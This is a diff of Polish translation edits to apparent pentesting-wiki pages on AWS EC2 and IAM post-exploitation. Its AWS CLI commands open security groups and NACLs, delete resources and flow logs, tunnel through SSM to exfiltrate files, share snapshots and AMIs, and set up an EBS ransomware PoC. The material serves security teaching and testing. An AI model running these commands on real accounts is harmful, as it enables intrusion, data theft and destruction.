-Wyeksportuj EC2 AMI bezpośrednio do S3 używając `CreateStoreImageTask`, aby uzyskać surowy obraz dysku bez udostępniania snapshotów. Umożliwia to pełną analizę offline lub kradzież danych, pozostawiając jednocześnie sieć instancji nienaruszoną.
+Eksportuj EC2 AMI bezpośrednio do S3 używając `CreateStoreImageTask`, aby uzyskać surowy obraz dysku bez udostępniania snapshotów. Pozwala to na pełną analizę offline lub kradzież danych, pozostawiając instance networking nienaruszone.

 {{#ref}}
 aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md

 ### Live Data Theft via EBS Multi-Attach

-Podłącz io1/io2 Multi-Attach volume do drugiej instancji i zamontuj go jako read-only, aby przechwycić dane na żywo bez użycia snapshotów. Przydatne, gdy volume ofiary ma już włączone Multi-Attach w tej samej AZ.
+Podłącz io1/io2 Multi-Attach volume do drugiej instance i zamontuj go w trybie read-only, aby wyssać dane na żywo bez tworzenia snapshotów. Przydatne, gdy victim volume już ma włączone Multi-Attach w tej samej AZ.

 {{#ref}}
 aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md

 ### EC2 Instance Connect Endpoint Backdoor

-Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij ephemeral SSH keys, aby uzyskać dostęp do prywatnych instancji przez managed tunnel. Zapewnia szybkie ścieżki lateral movement bez otwierania public ports.
+Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij efemeryczne klucze SSH, aby dostać się do prywatnych instancji przez zarządzany tunel. Zapewnia szybkie ścieżki lateral movement bez otwierania publicznych portów.

 {{#ref}}
 aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md

 ### EC2 ENI Secondary Private IP Hijack

-Przenieś secondary private IP ofiary ENI na ENI kontrolowany przez atakującego, aby podszyć się pod zaufane hosty allowlisted po IP. Umożliwia to obejście wewnętrznych ACL lub reguł SG opartych na konkretnych adresach.
+Przenieś secondary private IP of victim ENI na attacker-controlled ENI, aby podszyć się pod zaufane hosty, które są allowlisted po IP. Umożliwia to obejście wewnętrznych ACL lub reguł SG zależnych od konkretnych adresów.

 {{#ref}}
 aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md

 ### Elastic IP Hijack for Ingress/Egress Impersonation

-Przypisz ponownie Elastic IP z instancji ofiary do instancji kontrolowanej przez atakującego, aby przechwycić ruch przychodzący lub inicjować połączenia wychodzące wyglądające, jakby pochodziły od zaufanych publicznych IP.
+Przypisz ponownie Elastic IP z victim instance na attacker, aby przechwycić ruch przychodzący lub inicjować połączenia wychodzące, które wyglądają jak pochodzące z zaufanych publicznych IP.

 {{#ref}}
 aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md

 ### Security Group Backdoor via Managed Prefix Lists

-Jeśli reguła security group odnosi się do customer-managed prefix list, dodanie attacker CIDRs do listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG.
+Jeśli reguła security group odnosi się do customer-managed prefix list, dodanie attacker CIDR do listy cicho rozszerzy dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG.

 {{#ref}}
 aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md

 ### VPC Endpoint Egress Bypass

-Utwórz gateway lub interface VPC endpoints, aby odzyskać dostęp wychodzący z odizolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące kontrolki IGW/NAT dla data exfiltration.
+Utwórz gateway lub interface VPC endpoints, aby przywrócić outbound access z izolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące IGW/NAT i ułatwia eksfiltrację danych.

 {{#ref}}
 aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md

 ### `ec2:AuthorizeSecurityGroupIngress`

-Atakujący posiadający uprawnienie ec2:AuthorizeSecurityGroupIngress może dodać reguły przychodzące do security group (np. zezwalając na tcp:80 z 0.0.0.0/0), co wystawia wewnętrzne usługi w publicznym Internecie lub w innych nieuprawnionych sieciach.
+Atakujący z uprawnieniem ec2:AuthorizeSecurityGroupIngress może dodać reguły przychodzące do security groups (na przykład zezwalając na tcp:80 z 0.0.0.0/0), tym samym eksponując usługi wewnętrzne w publicznym Internecie lub dla nieautoryzowanych sieci.
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 ```
 # `ec2:ReplaceNetworkAclEntry`
-Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) subnetu, aby stały się bardzo liberalne — na przykład zezwalając na 0.0.0.0/0 na krytycznych portach — wystawiając cały zakres subnetu na Internet lub na nieautoryzowane segmenty sieci. W przeciwieństwie do Security Groups, które są stosowane na poziomie instancji, NACLs są stosowane na poziomie subnetu, więc zmiana restrykcyjnego NACL może mieć znacznie większy blast radius, umożliwiając dostęp do znacznie większej liczby hostów.
+Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) w danym subnecie, aby uczynić je bardzo permissive — na przykład zezwalając 0.0.0.0/0 na krytycznych portach — wystawiając cały zakres subneta na Internet lub na nieautoryzowane segmenty sieci. W przeciwieństwie do Security Groups, które są stosowane per-instance, NACLs stosuje się na poziomie subneta, więc zmiana restrykcyjnego NACL może mieć znacznie większy blast radius, umożliwiając dostęp do znacznie większej liczby hostów.
 ```bash
 aws ec2 replace-network-acl-entry \
 --network-acl-id <ACL_ID> \
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
 ```
 ### `ec2:Delete*`

-Atakujący posiadający uprawnienia ec2:Delete* i iam:Remove* może usunąć krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways lub managed endpoints. Może to spowodować natychmiastowe przerwanie działania usług, utratę danych oraz utratę dowodów śledczych.
+Atakujący posiadający uprawnienia ec2:Delete* i iam:Remove* może usunąć krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, lub managed endpoints. Może to spowodować natychmiastowe przerwanie działania usługi, utratę danych i utratę dowodów sądowych.

-Przykładem jest usunięcie security group:
+Przykład to usunięcie security group:

 aws ec2 delete-security-group \
 --group-id <SECURITY_GROUP_ID>

 ### VPC Flow Logs Cross-Account Exfiltration

-Skieruj VPC Flow Logs do S3 bucket kontrolowanego przez atakującego, aby na bieżąco zbierać metadane sieciowe (source/destination, ports) poza kontem ofiary do długoterminowego rozpoznania.
+Skieruj VPC Flow Logs do kontrolowanego przez atakującego S3 bucket, aby ciągle zbierać metadane sieciowe (źródło/cel, porty) poza kontem ofiary dla długoterminowego reconnaissance.

 {{#ref}}
 aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -150,30 +150,30 @@ aws-vpc-flow-logs-cross-account-exfiltration.md

 #### DNS Exfiltration

-Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wyjść, nadal może **exfil via DNS**.
+Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może się wydostać, nadal może ono **exfil via DNS**.

 - **VPC Flow Logs nie zarejestrują tego**.
- Nie masz dostępu do logów DNS w AWS.
- Wyłącz to ustawiając "enableDnsSupport" na false za pomocą:
+- Nie masz dostępu do AWS DNS logs.
+- Wyłącz to, ustawiając "enableDnsSupport" na false za pomocą:

 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`

 #### Exfiltration via API calls

-Atakujący może wywoływać API endpoints konta, które kontroluje. Cloudtrail zaloguje te wywołania i atakujący będzie mógł zobaczyć exfiltrate data w logach Cloudtrail.
+Atakujący może wywołać endpointy API konta, które kontroluje. Cloudtrail zapisze te wywołania, a atakujący będzie mógł zobaczyć exfiltrate data w logach Cloudtrail.

-### Otwarcie security group
+### Otwarcie Security Group

-Możesz uzyskać dalszy dostęp do usług sieciowych otwierając porty w następujący sposób:
+Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w ten sposób:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS

-Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej, aby była używana do uruchamiania instancji ECS, a następnie wykradzenie danych instancji ECS.
+Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia przy uruchamianiu instancji ECS, a następnie kradzież danych instancji ECS.

-For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
+Więcej informacji: [**sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).

 ### Usuń VPC flow logs
 ```bash
@@ -185,8 +185,8 @@ Wymagane uprawnienia:

 - `ssm:StartSession`

-Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, które można nadużyć, aby pivotować z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs.
-Jednym ze scenariuszy, w których jest to przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS.
+Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, które można nadużyć do pivoting z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs.
+Jednym ze scenariuszy, gdzie to jest przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS.

 > Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

@@ -195,8 +195,8 @@ Jednym ze scenariuszy, w których jest to przydatne, jest pivoting z [Bastion Ho
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Pobierz tymczasowe poświadczenia AWS dla Bastion EC2 za pomocą [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
-4. Skopiuj poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]`
+3. Pobierz tymczasowe poświadczenia AWS Bastion EC2 za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Przenieś poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]`
 5. Zaloguj się do EKS jako Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
@@ -206,28 +206,28 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojego komputera, uruchamiając:
+8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojej maszyny, uruchamiając:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Zwróć uwagę, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę `--insecure-skip-tls-verify ` (lub jej odpowiednik w narzędziach audytu K8s). Ponieważ ruch jest prowadzony przez bezpieczny tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM.
+Zwróć uwagę, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę `--insecure-skip-tls-verify` (lub jej odpowiednik w narzędziach audytowych K8s). Ponieważ ruch jest tunelowany przez bezpieczny AWS SSM tunnel, jesteś chroniony przed wszelkiego rodzaju atakami MitM.

-Wreszcie, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub niestandardowej aplikacji.
+Na koniec, ta technika nie jest specyficzna wyłącznie dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby wykonać pivot do dowolnej innej usługi AWS lub niestandardowej aplikacji.

 ---

 #### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)

-Jeśli potrzebujesz tylko przekierować **jeden port TCP z instancji EC2 na swój lokalny host**, możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (nie jest wymagany parametr zdalnego hosta):
+Jeśli musisz tylko przekierować **jeden port TCP z instancji EC2 do hosta lokalnego** możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (parametr 'remote host' nie jest wymagany):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Polecenie ustanawia dwukierunkowy tunel między Twoją stacją roboczą (`localPortNumber`) a wybranym portem (`portNumber`) na instancji **bez otwierania jakichkolwiek inbound Security-Group rules**.
+Polecenie ustanawia dwukierunkowy tunel między twoją stacją roboczą (`localPortNumber`) a wybranym portem (`portNumber`) na instancji **bez otwierania żadnych przychodzących reguł Security-Group**.

-Typowe zastosowania:
+Typowe scenariusze użycia:

 * **File exfiltration**
 1. Na instancji uruchom szybki serwer HTTP wskazujący na katalog, który chcesz exfiltrate:
@@ -250,28 +250,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Wskazówka: skompresuj i zaszyfruj dowody przed exfiltrating it, aby CloudTrail nie logował clear-text content:
+Wskazówka: Skompresuj i zaszyfruj dowody przed exfiltrating, aby CloudTrail nie logował clear-text content:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### Udostępnianie AMI
+### Udostępnij AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### Wyszukiwanie wrażliwych informacji w publicznych i prywatnych AMIs

- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich wolumenów oraz skanowania w poszukiwaniu potencjalnych secrets lub wrażliwych danych.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich wolumenów oraz skanowania pod kątem potencjalnych secrets lub wrażliwych danych.

-### Udostępnij EBS Snapshot
+### Udostępnianie EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC

-Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinien zostać przemianowany na RMS for Ransomware Management Service ze względu na to, jak łatwo można go użyć do szyfrowania różnych usług AWS.
+Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach S3 dotyczących post-exploitation. KMS powinien być przemianowany na RMS (Ransomware Management Service) ze względu na łatwość, z jaką można go użyć do szyfrowania różnych usług AWS.

-Najpierw z konta AWS 'attacker' utwórz customer managed key w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy, aby pozwolić dowolnemu AWS account Principal na używanie klucza. W tej key policy konto miało nazwę 'AttackSim', a reguła polityki pozwalająca na pełny dostęp nazywa się 'Outside Encryption'
+Najpierw, z konta 'attacker' w AWS, utwórz customer managed key w KMS. W tym przykładzie pozwolimy, żeby AWS zarządzał danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy tak, aby dowolny Principal konta AWS mógł używać tego klucza. Dla tej key policy nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -363,7 +363,7 @@ Najpierw z konta AWS 'attacker' utwórz customer managed key w KMS. W tym przyk
 ]
 }
 ```
-Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić jej użycie do zaszyfrowania wolumenu EBS:
+Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić użycie go do zaszyfrowania wolumenu EBS:

 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -371,17 +371,17 @@ Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umo
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`

-Mając publicznie dostępny klucz do użycia. Możemy użyć konta 'victim', na którym uruchomiono kilka instancji EC2 z dołączonymi niezaszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są celem szyfrowania — ten atak zakłada przejęcie konta AWS o wysokich uprawnieniach.
+Now with the publicly accessible key to use. Może być użyte konto 'victim', które ma uruchomione instancje EC2 z dołączonymi niezaszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są naszym celem szyfrowania — atak zakłada przejęcie konta AWS o wysokich uprawnieniach.

 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)

-Podobnie jak w przykładzie ransomware dla S3. Ten atak utworzy kopie dołączonych wolumenów EBS za pomocą snapshotów, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshoty użyte do utworzenia nowych zaszyfrowanych wolumenów EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Podobnie jak w przykładzie ransomware na S3. Atak utworzy kopie dołączonych wolumenów EBS za pomocą snapshots, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshots użyte do utworzenia nowo zaszyfrowanych wolumenów EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)

-Efektem jest, że w koncie pozostaną wyłącznie zaszyfrowane wolumeny EBS.
+W efekcie w koncie pozostaną jedynie zaszyfrowane wolumeny EBS.

 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)

-Warto też zauważyć, że skrypt zatrzymał instancje EC2, żeby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne, niezaszyfrowane wolumeny zostały teraz usunięte.
+Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne niezaszyfrowane wolumeny zostały teraz usunięte.

 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)

@@ -456,15 +456,15 @@ Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę polit
 ]
 }
 ```
-Poczekaj chwilę, aż nowo ustawiona polityka klucza się rozpropaguje. Następnie wróć do konta 'victim' i spróbuj podpiąć jeden z nowo zaszyfrowanych wolumenów EBS. Zobaczysz, że możesz podłączyć wolumen.
+Poczekaj chwilę, aż nowo ustawiona key policy się rozpowszechni. Następnie wróć do konta 'victim' i spróbuj dołączyć jeden z nowo zaszyfrowanych EBS volumes. Zobaczysz, że możesz dołączyć volume.

 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)

-Jednak gdy spróbujesz faktycznie uruchomić instancję EC2 z powrotem z zaszyfrowanym wolumenem EBS, nie powiedzie się to i instancja przejdzie ze stanu 'pending' z powrotem do 'stopped' na stałe, ponieważ dołączonego wolumenu EBS nie da się odszyfrować za pomocą klucza — polityka klucza już na to nie zezwala.
+Jednak kiedy spróbujesz faktycznie uruchomić ponownie EC2 instance z zaszyfrowanym EBS volume, to po prostu się nie powiedzie i przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na zawsze, ponieważ dołączone EBS volume nie może zostać odszyfrowane przy użyciu key, gdyż key policy już na to nie pozwala.

 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)

-Oto użyty skrypt python. Przyjmuje AWS creds dla konta 'victim' oraz publicznie dostępną wartość ARN dla klucza, który ma być użyty do szyfrowania. Skrypt zrobi zaszyfrowane kopie WSZYSTKICH dostępnych wolumenów EBS dołączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne wolumeny EBS, usunie je, a na końcu usunie wszystkie snapshoty użyte podczas procesu. To pozostawi w docelowym koncie 'victim' jedynie zaszyfrowane wolumeny EBS. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST ON DESTRUKCYJNY I USUWA WSZYSTKIE ORYGINALNE WOLUMENY EBS. Możesz je odzyskać używając wykorzystanego klucza KMS i przywrócić do stanu pierwotnego za pomocą snapshotów, ale chcę, abyś był świadomy, że w ostatecznym rozrachunku jest to PoC ransomware.
+To jest użyty python script. Przyjmuje AWS creds dla konta 'victim' oraz publicznie dostępny AWS ARN value dla klucza, który ma być użyty do szyfrowania. Skrypt tworzy zaszyfrowane kopie WSZYSTKICH dostępnych EBS volumes dołączonych do WSZYSTKICH EC2 instances w docelowym AWS account, następnie zatrzymuje każdy EC2 instance, odłącza oryginalne EBS volumes, usuwa je i wreszcie usuwa wszystkie snapshots wykorzystane podczas procesu. W efekcie w docelowym koncie 'victim' pozostaną tylko zaszyfrowane EBS volumes. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST ON DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE EBS VOLUMES. Można je odzyskać używając wykorzystanego KMS key i przywrócić do pierwotnego stanu za pomocą snapshots, jednak chcemy Cię uświadomić, że na koniec dnia jest to ransomware PoC.
 ```
 import boto3
 import argparse
@@ -4,21 +4,21 @@

 ## IAM

-Więcej informacji o dostępie IAM:
+For more information about IAM access:

 {{#ref}}
 ../../aws-services/aws-iam-enum.md
 {{#endref}}

-## Problem zdezorientowanego zastępcy
+## Confused Deputy Problem

-Jeśli **pozwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w Twoim koncie, prawdopodobnie będziesz mieć **0 widoczności** kto dokładnie może uzyskać dostęp do tego zewnętrznego konta. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), możliwe że **B również będzie mogło uzyskać dostęp do Twojego konta**.
+If you **pozwolisz kontu zewnętrznemu (A)** uzyskać dostęp do **role** w Twoim koncie, prawdopodobnie będziesz mieć **0 widoczności** co do tego, **kto dokładnie może uzyskać dostęp do tego konta zewnętrznego**. To jest problem, ponieważ jeśli inne konto zewnętrzne (B) ma dostęp do konta zewnętrznego (A), możliwe że **B również będzie w stanie uzyskać dostęp do Twojego konta**.

-Dlatego, przy udzielaniu zewnętrznemu kontu dostępu do roli w Twoim koncie, można określić `ExternalId`. Jest to "sekretny" ciąg znaków, który zewnętrzne konto (A) **musi podać**, aby **przyjąć rolę w Twojej organizacji**. Ponieważ zewnętrzne konto B nie będzie znało tego ciągu, nawet jeśli ma dostęp do A, **nie będzie w stanie uzyskać dostępu do Twojej roli**.
+Dlatego, przy zezwalaniu kontu zewnętrznemu na dostęp do role w Twoim koncie, można określić `ExternalId`. To jest "sekretny" ciąg znaków, który konto zewnętrzne (A) **musi podać**, aby **assume the role in your organization**. Ponieważ **konto zewnętrzne B nie będzie znało tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do Twojej role**.

 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>

-Jednakże warto zauważyć, że ten "sekret" `ExternalId` **nie jest tajny** — każdy, kto potrafi **odczytać politykę IAM dotyczącą assume role**, będzie w stanie go zobaczyć. Ale dopóki zewnętrzne konto A go zna, a zewnętrzne konto **B go nie zna**, to **uniemożliwia B wykorzystanie A do dostępu do Twojej roli**.
+Należy jednak pamiętać, że ten `ExternalId` "sekret" **nie jest sekretem** — każdy, kto potrafi **odczytać IAM assume role policy**, będzie w stanie go zobaczyć. Ale o ile konto zewnętrzne A go zna, a konto zewnętrzne **B go nie zna**, to **zapobiega to wykorzystaniu A przez B do uzyskania dostępu do Twojej role**.

 Przykład:
 ```json
@@ -39,9 +39,9 @@ Przykład:
 }
 ```
 > [!WARNING]
-> Aby atakujący mógł wykorzystać confused deputy, będzie musiał w jakiś sposób ustalić, czy podmioty (principals) bieżącego konta mogą podszywać się pod role w innych kontach.
+> Aby attacker mógł wykorzystać confused deputy, będzie musiał w jakiś sposób sprawdzić, czy principals z current account mogą impersonate roles w other accounts.

-### Nieoczekiwane zaufania
+### Nieoczekiwane relacje zaufania

 #### Wildcard jako principal
 ```json
@@ -51,7 +51,7 @@ Przykład:
 "Principal": { "AWS": "*" }
 }
 ```
-Ta polityka **pozwala wszystkim AWS** na przejęcie roli.
+Ta polityka **pozwala wszystkim AWS** na przyjęcie roli.

 #### Usługa jako podmiot
 ```json
@@ -62,7 +62,7 @@ Ta polityka **pozwala wszystkim AWS** na przejęcie roli.
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wywołać tę Lambdę.
+Ta polityka **pozwala dowolnemu kontu** skonfigurować własne apigateway, aby wywołać tę Lambda.

 #### S3 jako principal
 ```json
@@ -73,7 +73,7 @@ Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wyw
 }
 }
 ```
-Jeśli S3 bucket jest podany jako principal — ponieważ S3 buckety nie mają Account ID — to jeśli **usuniesz swój bucket, a attacker go utworzy** w swoim koncie, będą mogli to wykorzystać.
+Jeśli S3 bucket jest podany jako principal, ponieważ S3 buckets nie mają Account ID, jeśli **usunąłeś swój bucket i atakujący go stworzył** na swoim koncie, wtedy atakujący może to wykorzystać.

 #### Nieobsługiwane
 ```json
@@ -84,10 +84,10 @@ Jeśli S3 bucket jest podany jako principal — ponieważ S3 buckety nie mają A
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-Częstym sposobem uniknięcia problemów Confused Deputy jest użycie warunku z `AWS:SourceArn` do sprawdzenia ARN źródła. Jednakże, **niektóre usługi mogą tego nie obsługiwać** (np. CloudTrail według niektórych źródeł).
+Jednym z powszechnych sposobów uniknięcia problemów typu Confused Deputy jest użycie warunku z `AWS:SourceArn` do sprawdzenia ARN źródła. Jednak **niektóre usługi mogą tego nie obsługiwać** (np. CloudTrail według niektórych źródeł).

-### Credential Deletion
-Posiadając dowolne z następujących uprawnień — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — podmiot może usunąć klucze dostępu, profile logowania, klucze SSH, poświadczenia specyficzne dla usługi, profile instancji, certyfikaty lub publiczne klucze CloudFront, albo odłączyć role od profili instancji. Takie działania mogą natychmiast zablokować uprawnionych użytkowników i aplikacje oraz spowodować denial-of-service lub utratę dostępu dla systemów, które polegają na tych poświadczeniach, dlatego te uprawnienia IAM muszą być ściśle ograniczone i monitorowane.
+### Usuwanie poświadczeń
